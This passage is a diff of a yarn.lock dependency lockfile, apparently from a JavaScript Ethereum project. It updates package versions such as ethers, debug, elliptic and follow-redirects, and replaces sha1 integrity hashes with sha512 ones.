"https://registry.yarnpkg.com/chokidar/-/chokidar-4.0.1.tgz#4a6dff66798fb0f72a94f616abbd7e1a19f31d41" + integrity sha512-n8enUVCED/KVRQlab1hr3MVpcVMvxtZjmEa956u+4YijlmQED223XMSYj2tLuKvr4jcCTzNNMpQDUer72MMmzA== dependencies: - anymatch "~3.1.2" - braces "~3.0.2" - glob-parent "~5.1.2" - is-binary-path "~2.1.0" - is-glob "~4.0.1" - normalize-path "~3.0.0" - readdirp "~3.6.0" - optionalDependencies: - fsevents "~2.3.2" + readdirp "^4.0.1" ci-info@^2.0.0: version "2.0.0" @@ -1626,29 +1500,23 @@ ci-info@^2.0.0: integrity sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ== cipher-base@^1.0.0, cipher-base@^1.0.1, cipher-base@^1.0.3: - version "1.0.4" - resolved "https://registry.yarnpkg.com/cipher-base/-/cipher-base-1.0.4.tgz#8760e4ecc272f4c363532f926d874aae2c1397de" - integrity sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q== - dependencies: - inherits "^2.0.1" - safe-buffer "^5.0.1" - -classic-level@^1.2.0: - version "1.2.0" - resolved "https://registry.yarnpkg.com/classic-level/-/classic-level-1.2.0.tgz#2d52bdec8e7a27f534e67fdeb890abef3e643c27" - integrity sha512-qw5B31ANxSluWz9xBzklRWTUAJ1SXIdaVKTVS7HcTGKOAmExx65Wo5BUICW+YGORe2FOUaDghoI9ZDxj82QcFg== + version "1.0.6" + resolved "https://registry.yarnpkg.com/cipher-base/-/cipher-base-1.0.6.tgz#8fe672437d01cd6c4561af5334e0cc50ff1955f7" + integrity sha512-3Ek9H3X6pj5TgenXYtNWdaBon1tgYCaebd+XPg0keyjEbEfkD4KkmAxkQ/i1vYvxdcT5nscLBfq9VJRmCBcFSw== dependencies: - abstract-level "^1.0.2" - catering "^2.1.0" - module-error "^1.0.1" - napi-macros "~2.0.0" - node-gyp-build "^4.3.0" + inherits "^2.0.4" + safe-buffer "^5.2.1" clean-stack@^2.0.0: version "2.2.0" resolved "https://registry.yarnpkg.com/clean-stack/-/clean-stack-2.2.0.tgz#ee8472dbb129e727b31e8a10a427dee9dfe4008b" integrity sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A== +cli-boxes@^2.2.1: + version "2.2.1" + resolved "https://registry.yarnpkg.com/cli-boxes/-/cli-boxes-2.2.1.tgz#ddd5035d25094fce220e9cab40a45840a440318f" + integrity sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw== + cliui@^7.0.2: version "7.0.4" resolved "https://registry.yarnpkg.com/cliui/-/cliui-7.0.4.tgz#a0265ee655476fc807aea9df3df8df7783808b4f" @@ -1675,7 +1543,7 @@ color-convert@^2.0.1: color-name@1.1.3: version "1.1.3" resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25" - integrity sha1-p9BVi9icQveV3UIyj3QIMcpTvCU= + integrity sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw== color-name@~1.1.4: version "1.1.4" @@ -1723,11 +1591,6 @@ command-line-usage@^6.1.0: table-layout "^1.0.2" typical "^5.2.0" -commander@3.0.2: - version "3.0.2" - resolved "https://registry.yarnpkg.com/commander/-/commander-3.0.2.tgz#6837c3fb677ad9933d1cfba42dd14d5117d6b39e" - integrity sha512-Gar0ASD4BDyKC4hl4DwHqDrmvjoxWKZigVnAbn5H1owvm4CxCPdb0HQDehwNYMJpla5+M2tPmPARzhtYuwpHow== - commander@^8.1.0: version "8.3.0" resolved "https://registry.yarnpkg.com/commander/-/commander-8.3.0.tgz#4837ea1b2da67b9c616a67afbb0fafee567bca66" @@ -1736,30 +1599,27 @@ commander@^8.1.0: concat-map@0.0.1: version "0.0.1" resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b" - integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s= + integrity sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg== cookie@^0.4.1: - version "0.4.1" - resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.4.1.tgz#afd713fe26ebd21ba95ceb61f9a8116e50a537d1" - integrity sha512-ZwrFkGJxUR3EIoXtO+yVE69Eb7KlixbaeAWfBQB9vVsNn/o+Yw69gBWSSDK825hQNdN+wF8zELf3dFNl/kxkUA== + version "0.4.2" + resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.4.2.tgz#0e41f24de5ecf317947c82fc789e06a884824432" + integrity sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA== core-js-pure@^3.0.1: - version "3.19.3" - resolved "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.19.3.tgz#c69b2b36b58927317824994b532ec3f0f7e49607" - integrity sha512-N3JruInmCyt7EJj5mAq3csCgGYgiSqu7p7TQp2KOztr180/OAIxyIvL1FCjzgmQk/t3Yniua50Fsak7FShI9lA== + version "3.39.0" + resolved "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.39.0.tgz#aa0d54d70a15bdc13e7c853db87c10abc30d68f3" + integrity sha512-7fEcWwKI4rJinnK+wLTezeg2smbFFdSBP6E2kQZNbnzM2s1rpKQ6aaRteZSSg7FLU3P0HGGVo/gbpfanU36urg== core-util-is@1.0.2: version "1.0.2" resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7" - integrity sha1-tf1UIgqivFq1eqtxQMlAdUUDwac= + integrity sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ== crc-32@^1.2.0: - version "1.2.0" - resolved "https://registry.yarnpkg.com/crc-32/-/crc-32-1.2.0.tgz#cb2db6e29b88508e32d9dd0ec1693e7b41a18208" - integrity sha512-1uBwHxF+Y/4yF5G48fwnKq6QsIXheor3ZLPT80yGBV1oEUwpPojlEhQbWKVw1VwcTQyMGHK1/XMmTjmlsmTTGA== - dependencies: - exit-on-epipe "~1.0.1" - printj "~1.1.0" + version "1.2.2" + resolved "https://registry.yarnpkg.com/crc-32/-/crc-32-1.2.2.tgz#3cad35a934b8bf71f25ca524b6da51fb7eace2ff" + integrity sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ== create-hash@^1.1.0, create-hash@^1.1.2, create-hash@^1.2.0: version "1.2.0" @@ -1792,23 +1652,16 @@ create-require@^1.1.0: dashdash@^1.12.0: version "1.14.1" resolved "https://registry.yarnpkg.com/dashdash/-/dashdash-1.14.1.tgz#853cfa0f7cbe2fed5de20326b8dd581035f6e2f0" - integrity sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA= + integrity sha512-jRFi8UDGo6j+odZiEpjazZaWqEal3w/basFjQHQEwVtZJGDpxbH1MeYluwCS8Xq5wmLJooDlMgvVarmWfGM44g== dependencies: assert-plus "^1.0.0" -debug@4, debug@^4.1.1: - version "4.3.3" - resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.3.tgz#04266e0b70a98d4462e6e288e38259213332b664" - integrity sha512-/zxw5+vh1Tfv+4Qn7a5nsbcJKPaSvCDhojn6FEl9vupwK2VCSDtEiEtqr8DFtzYFOdz63LBkxec7DYuc2jon6Q== - dependencies: - ms "2.1.2" - -debug@4.3.4, debug@^4.3.1, debug@^4.3.3, debug@^4.3.4: - version "4.3.4" - resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.4.tgz#1319f6579357f2338d3337d2cdd4914bb5dcc865" - integrity sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ== +debug@4, debug@^4.1.1, debug@^4.3.1, debug@^4.3.3, debug@^4.3.4, debug@^4.3.5: + version "4.4.0" + resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.0.tgz#2b3f2aea2ffeb776477460267377dc8710faba8a" + integrity sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA== dependencies: - ms "2.1.2" + ms "^2.1.3" debug@^2.2.0: version "2.6.9" @@ -1829,10 +1682,10 @@ decamelize@^4.0.0: resolved "https://registry.yarnpkg.com/decamelize/-/decamelize-4.0.0.tgz#aa472d7bf660eb15f3494efd531cab7f2a709837" integrity sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ== -deep-eql@^3.0.1: - version "3.0.1" - resolved "https://registry.yarnpkg.com/deep-eql/-/deep-eql-3.0.1.tgz#dfc9404400ad1c8fe023e7da1df1c147c4b444df" - integrity sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw== +deep-eql@^4.1.3: + version "4.1.4" + resolved "https://registry.yarnpkg.com/deep-eql/-/deep-eql-4.1.4.tgz#d0d3912865911bb8fac5afb4e3acfa6a28dc72b7" + integrity sha512-SUwdGfqdKOwxCPeVYjwSyRpJ7Z+fhpwIAtmCUdZIWZ/YP5R9WAsyuSgpLVDi9bjWoN2LXHNss/dk3urXtdQxGg== dependencies: type-detect "^4.0.0" @@ -1849,35 +1702,53 @@ deferred-leveldown@~5.3.0: abstract-leveldown "~6.2.1" inherits "^2.0.3" +define-data-property@^1.1.4: + version "1.1.4" + resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.4.tgz#894dc141bb7d3060ae4366f6a0107e68fbe48c5e" + integrity sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A== + dependencies: + es-define-property "^1.0.0" + es-errors "^1.3.0" + gopd "^1.0.1" + delayed-stream@~1.0.0: version "1.0.0" resolved "https://registry.yarnpkg.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619" - integrity sha1-3zrhmayt+31ECqrgsp4icrJOxhk= - -depd@~1.1.2: - version "1.1.2" - resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9" - integrity sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak= + integrity sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ== -diff@5.0.0: - version "5.0.0" - resolved "https://registry.yarnpkg.com/diff/-/diff-5.0.0.tgz#7ed6ad76d859d030787ec35855f5b1daf31d852b" - integrity sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w== +depd@2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/depd/-/depd-2.0.0.tgz#b696163cc757560d09cf22cc8fad1571b79e76df" + integrity sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw== diff@^4.0.1: version "4.0.2" resolved "https://registry.yarnpkg.com/diff/-/diff-4.0.2.tgz#60f3aecb89d5fae520c11aa19efc2bb982aade7d" integrity sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A== +diff@^5.2.0: + version "5.2.0" + resolved "https://registry.yarnpkg.com/diff/-/diff-5.2.0.tgz#26ded047cd1179b78b9537d5ef725503ce1ae531" + integrity sha512-uIFDxqpRZGZ6ThOk84hEfqWoHx2devRFvpTZcTHur85vImfaxUbTW9Ryh4CpCuDnToOP1CEtXKIgytHBPVff5A== + +dunder-proto@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/dunder-proto/-/dunder-proto-1.0.0.tgz#c2fce098b3c8f8899554905f4377b6d85dabaa80" + integrity sha512-9+Sj30DIu+4KvHqMfLUGLFYL2PkURSYMVXJyXe92nFRvlYq5hBjLEhblKB+vkd/WVlUYMWigiY07T91Fkk0+4A== + dependencies: + call-bind-apply-helpers "^1.0.0" + es-errors "^1.3.0" + gopd "^1.2.0" + ecc-jsbn@~0.1.1: version "0.1.2" resolved "https://registry.yarnpkg.com/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz#3a83a904e54353287874c564b7549386849a98c9" - integrity sha1-OoOpBOVDUyh4dMVkt1SThoSamMk= + integrity sha512-eh9O+hwRHNbG4BLTjEl3nw044CkGm5X6LoaCf7LPp7UU8Qrt47JYNi6nPX8xjW97TKGKm1ouctg0QSpZe9qrnw== dependencies: jsbn "~0.1.0" safer-buffer "^2.1.0" -elliptic@6.5.4, elliptic@^6.5.2, elliptic@^6.5.4: +elliptic@6.5.4: version "6.5.4" resolved "https://registry.yarnpkg.com/elliptic/-/elliptic-6.5.4.tgz#da37cebd31e79a1367e941b592ed1fbebd58abbb" integrity sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ== @@ -1890,6 +1761,19 @@ elliptic@6.5.4, elliptic@^6.5.2, elliptic@^6.5.4: minimalistic-assert "^1.0.1" minimalistic-crypto-utils "^1.0.1" +elliptic@^6.5.2, elliptic@^6.5.4, elliptic@^6.5.7: + version "6.6.1" + resolved "https://registry.yarnpkg.com/elliptic/-/elliptic-6.6.1.tgz#3b8ffb02670bf69e382c7f65bf524c97c5405c06" + integrity sha512-RaddvvMatK2LJHqFJ+YA4WysVN5Ita9E35botqIYspQ4TkRAlCicdzKOjlyv/1Za5RyTNn7di//eEV0uTAfe3g== + dependencies: + bn.js "^4.11.9" + brorand "^1.1.0" + hash.js "^1.0.0" + hmac-drbg "^1.0.1" + inherits "^2.0.4" + minimalistic-assert "^1.0.1" + minimalistic-crypto-utils "^1.0.1" + emittery@0.10.0: version "0.10.0" resolved "https://registry.yarnpkg.com/emittery/-/emittery-0.10.0.tgz#bb373c660a9d421bb44706ec4967ed50c02a8026" @@ -1911,11 +1795,12 @@ encoding-down@^6.3.0: level-errors "^2.0.0" enquirer@^2.3.0: - version "2.3.6" - resolved "https://registry.yarnpkg.com/enquirer/-/enquirer-2.3.6.tgz#2a7fe5dd634a1e4125a975ec994ff5456dc3734d" - integrity sha512-yjNnPr315/FjS4zIsUxYguYUPP2e1NK4d7E7ZOLiyYCcbFBiTMyID+2wvm2w6+pZ/odMA7cRkjhsPbltwBOrLg== + version "2.4.1" + resolved "https://registry.yarnpkg.com/enquirer/-/enquirer-2.4.1.tgz#93334b3fbd74fc7097b224ab4a8fb7e40bf4ae56" + integrity sha512-rRqJg/6gd538VHvR3PSrdRBb/1Vy2YfzHqzvbhGIQpDRKIa4FgV/54b5Q1xYSxOOwKvjXweS26E0Q+nAMwp2pQ== dependencies: ansi-colors "^4.1.1" + strip-ansi "^6.0.1" env-paths@^2.2.0: version "2.2.1" @@ -1929,20 +1814,37 @@ errno@~0.1.1: dependencies: prr "~1.0.1" -escalade@^3.1.1: - version "3.1.1" - resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.1.tgz#d8cfdc7000965c5a0174b4a82eaa5c0552742e40" - integrity sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw== +es-define-property@^1.0.0, es-define-property@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.1.tgz#983eb2f9a6724e9303f61addf011c72e09e0b0fa" + integrity sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g== -escape-string-regexp@4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34" - integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA== +es-errors@^1.3.0: + version "1.3.0" + resolved "https://registry.yarnpkg.com/es-errors/-/es-errors-1.3.0.tgz#05f75a25dab98e4fb1dcd5e1472c0546d5057c8f" + integrity sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw== + +es-object-atoms@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/es-object-atoms/-/es-object-atoms-1.0.0.tgz#ddb55cd47ac2e240701260bc2a8e31ecb643d941" + integrity sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw== + dependencies: + es-errors "^1.3.0" + +escalade@^3.1.1: + version "3.2.0" + resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.2.0.tgz#011a3f69856ba189dffa7dc8fcce99d2a87903e5" + integrity sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA== escape-string-regexp@^1.0.5: version "1.0.5" resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4" - integrity sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ= + integrity sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg== + +escape-string-regexp@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34" + integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA== ethereum-cryptography@0.1.3, ethereum-cryptography@^0.1.3: version "0.1.3" @@ -2031,40 +1933,40 @@ ethereumjs-util@^7.1.1, ethereumjs-util@^7.1.3, ethereumjs-util@^7.1.4, ethereum rlp "^2.2.4" ethers@^5.4.5: - version "5.5.2" - resolved "https://registry.yarnpkg.com/ethers/-/ethers-5.5.2.tgz#cd2e508c7342c44fa70392f722e8de8f2416489f" - integrity sha512-EF5W+6Wwcu6BqVwpgmyR5U2+L4c1FQzlM/02dkZOugN3KF0cG9bzHZP+TDJglmPm2/IzCEJDT7KBxzayk7SAHw== - dependencies: - "@ethersproject/abi" "5.5.0" - "@ethersproject/abstract-provider" "5.5.1" - "@ethersproject/abstract-signer" "5.5.0" - "@ethersproject/address" "5.5.0" - "@ethersproject/base64" "5.5.0" - "@ethersproject/basex" "5.5.0" - "@ethersproject/bignumber" "5.5.0" - "@ethersproject/bytes" "5.5.0" - "@ethersproject/constants" "5.5.0" - "@ethersproject/contracts" "5.5.0" - "@ethersproject/hash" "5.5.0" - "@ethersproject/hdnode" "5.5.0" - "@ethersproject/json-wallets" "5.5.0" - "@ethersproject/keccak256" "5.5.0" - "@ethersproject/logger" "5.5.0" - "@ethersproject/networks" "5.5.1" - "@ethersproject/pbkdf2" "5.5.0" - "@ethersproject/properties" "5.5.0" - "@ethersproject/providers" "5.5.1" - "@ethersproject/random" "5.5.0" - "@ethersproject/rlp" "5.5.0" - "@ethersproject/sha2" "5.5.0" - "@ethersproject/signing-key" "5.5.0" - "@ethersproject/solidity" "5.5.0" - "@ethersproject/strings" "5.5.0" - "@ethersproject/transactions" "5.5.0" - "@ethersproject/units" "5.5.0" - "@ethersproject/wallet" "5.5.0" - "@ethersproject/web" "5.5.1" - "@ethersproject/wordlists" "5.5.0" + version "5.7.2" + resolved "https://registry.yarnpkg.com/ethers/-/ethers-5.7.2.tgz#3a7deeabbb8c030d4126b24f84e525466145872e" + integrity sha512-wswUsmWo1aOK8rR7DIKiWSw9DbLWe6x98Jrn8wcTflTVvaXhAMaB5zGAXy0GYQEQp9iO1iSHWVyARQm11zUtyg== + dependencies: + "@ethersproject/abi" "5.7.0" + "@ethersproject/abstract-provider" "5.7.0" + "@ethersproject/abstract-signer" "5.7.0" + "@ethersproject/address" "5.7.0" + "@ethersproject/base64" "5.7.0" + "@ethersproject/basex" "5.7.0" + "@ethersproject/bignumber" "5.7.0" + "@ethersproject/bytes" "5.7.0" + "@ethersproject/constants" "5.7.0" + "@ethersproject/contracts" "5.7.0" + "@ethersproject/hash" "5.7.0" + "@ethersproject/hdnode" "5.7.0" + "@ethersproject/json-wallets" "5.7.0" + "@ethersproject/keccak256" "5.7.0" + "@ethersproject/logger" "5.7.0" + "@ethersproject/networks" "5.7.1" + "@ethersproject/pbkdf2" "5.7.0" + "@ethersproject/properties" "5.7.0" + "@ethersproject/providers" "5.7.2" + "@ethersproject/random" "5.7.0" + "@ethersproject/rlp" "5.7.0" + "@ethersproject/sha2" "5.7.0" + "@ethersproject/signing-key" "5.7.0" + "@ethersproject/solidity" "5.7.0" + "@ethersproject/strings" "5.7.0" + "@ethersproject/transactions" "5.7.0" + "@ethersproject/units" "5.7.0" + "@ethersproject/wallet" "5.7.0" + "@ethersproject/web" "5.7.1" + "@ethersproject/wordlists" "5.7.0" ethjs-util@0.1.6, ethjs-util@^0.1.6: version "0.1.6" @@ -2074,11 +1976,6 @@ ethjs-util@0.1.6, ethjs-util@^0.1.6: is-hex-prefixed "1.0.0" strip-hex-prefix "1.0.0" -event-target-shim@^5.0.0: - version "5.0.1" - resolved "https://registry.yarnpkg.com/event-target-shim/-/event-target-shim-5.0.1.tgz#5d4d3ebdf9583d63a5333ce2deb7480ab2b05789" - integrity sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ== - evp_bytestokey@^1.0.3: version "1.0.3" resolved "https://registry.yarnpkg.com/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz#7fcbdb198dc71959432efe13842684e0525acb02" @@ -2087,11 +1984,6 @@ evp_bytestokey@^1.0.3: md5.js "^1.3.4" safe-buffer "^5.1.1" -exit-on-epipe@~1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/exit-on-epipe/-/exit-on-epipe-1.0.1.tgz#0bdd92e87d5285d267daa8171d0eb06159689692" - integrity sha512-h2z5mrROTxce56S+pnvAV890uu7ls7f1kEvVGJbw1OlFH3/mlJ5bkXu0KRyW94v37zzHPiUd55iLn3DA7TjWpw== - extend@~3.0.2: version "3.0.2" resolved "https://registry.yarnpkg.com/extend/-/extend-3.0.2.tgz#f8b1136b4071fbd8eb140aff858b1019ec2915fa" @@ -2100,7 +1992,7 @@ extend@~3.0.2: extsprintf@1.3.0: version "1.3.0" resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.3.0.tgz#96918440e3041a7a414f8c52e3c574eb3c3e1e05" - integrity sha1-lpGEQOMEGnpBT4xS48V06zw+HgU= + integrity sha512-11Ndz7Nv+mvAC1j0ktTa7fAb0vLyGGX+rMHNBYQviQDGU0Hw7lhctJANqbPhu9nV9/izT/IntTgZ7Im/9LJs9g== extsprintf@^1.2.0: version "1.4.1" @@ -2117,17 +2009,22 @@ fast-json-stable-stringify@^2.0.0: resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633" integrity sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw== -fill-range@^7.0.1: - version "7.0.1" - resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-7.0.1.tgz#1919a6a7c75fe38b2c7c77e5198535da9acdda40" - integrity sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ== +fdir@^6.4.2: + version "6.4.2" + resolved "https://registry.yarnpkg.com/fdir/-/fdir-6.4.2.tgz#ddaa7ce1831b161bc3657bb99cb36e1622702689" + integrity sha512-KnhMXsKSPZlAhp7+IjUkRZKPb4fUyccpDrdFXbi4QL1qkmFh9kVY09Yox+n4MaOb3lHZ1Tv829C3oaaXoMYPDQ== + +fill-range@^7.1.1: + version "7.1.1" + resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-7.1.1.tgz#44265d3cac07e3ea7dc247516380643754a05292" + integrity sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg== dependencies: to-regex-range "^5.0.1" find-replace@^1.0.3: version "1.0.3" resolved "https://registry.yarnpkg.com/find-replace/-/find-replace-1.0.3.tgz#b88e7364d2d9c959559f388c66670d6130441fa0" - integrity sha1-uI5zZNLZyVlVnziMZmcNYTBEH6A= + integrity sha512-KrUnjzDCD9426YnCP56zGYy/eieTnhtK6Vn++j+JJzmlsWWwEkDnsyVF575spT6HJ6Ow9tlbT3TQTDsa+O4UWA== dependencies: array-back "^1.0.4" test-value "^2.1.0" @@ -2139,7 +2036,7 @@ find-replace@^3.0.0: dependencies: array-back "^3.0.1" -find-up@5.0.0: +find-up@^5.0.0: version "5.0.0" resolved "https://registry.yarnpkg.com/find-up/-/find-up-5.0.0.tgz#4c92819ecb7083561e4f4a240a86be5198f536fc" integrity sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng== @@ -2147,32 +2044,25 @@ find-up@5.0.0: locate-path "^6.0.0" path-exists "^4.0.0" -find-up@^2.1.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/find-up/-/find-up-2.1.0.tgz#45d1b7e506c717ddd482775a2b77920a3c0c57a7" - integrity sha1-RdG35QbHF93UgndaK3eSCjwMV6c= - dependencies: - locate-path "^2.0.0" - flat@^5.0.2: version "5.0.2" resolved "https://registry.yarnpkg.com/flat/-/flat-5.0.2.tgz#8ca6fe332069ffa9d324c327198c598259ceb241" integrity sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ== follow-redirects@^1.12.1: - version "1.14.6" - resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.14.6.tgz#8cfb281bbc035b3c067d6cd975b0f6ade6e855cd" - integrity sha512-fhUl5EwSJbbl8AR+uYL2KQDxLkdSjZGR36xy46AO7cOMTrCMON6Sa28FmAnC2tRTDbd/Uuzz3aJBv7EBN7JH8A== + version "1.15.9" + resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.15.9.tgz#a604fa10e443bf98ca94228d9eebcc2e8a2c8ee1" + integrity sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ== forever-agent@~0.6.1: version "0.6.1" resolved "https://registry.yarnpkg.com/forever-agent/-/forever-agent-0.6.1.tgz#fbc71f0c41adeb37f96c577ad1ed42d8fdacca91" - integrity sha1-+8cfDEGt6zf5bFd60e1C2P2sypE= + integrity sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw== -form-data@^3.0.0: - version "3.0.1" - resolved "https://registry.yarnpkg.com/form-data/-/form-data-3.0.1.tgz#ebd53791b78356a99af9a300d4282c4d5eb9755f" - integrity sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg== +form-data@^4.0.0: + version "4.0.1" + resolved "https://registry.yarnpkg.com/form-data/-/form-data-4.0.1.tgz#ba1076daaaa5bfd7e99c1a6cb02aa0a5cff90d48" + integrity 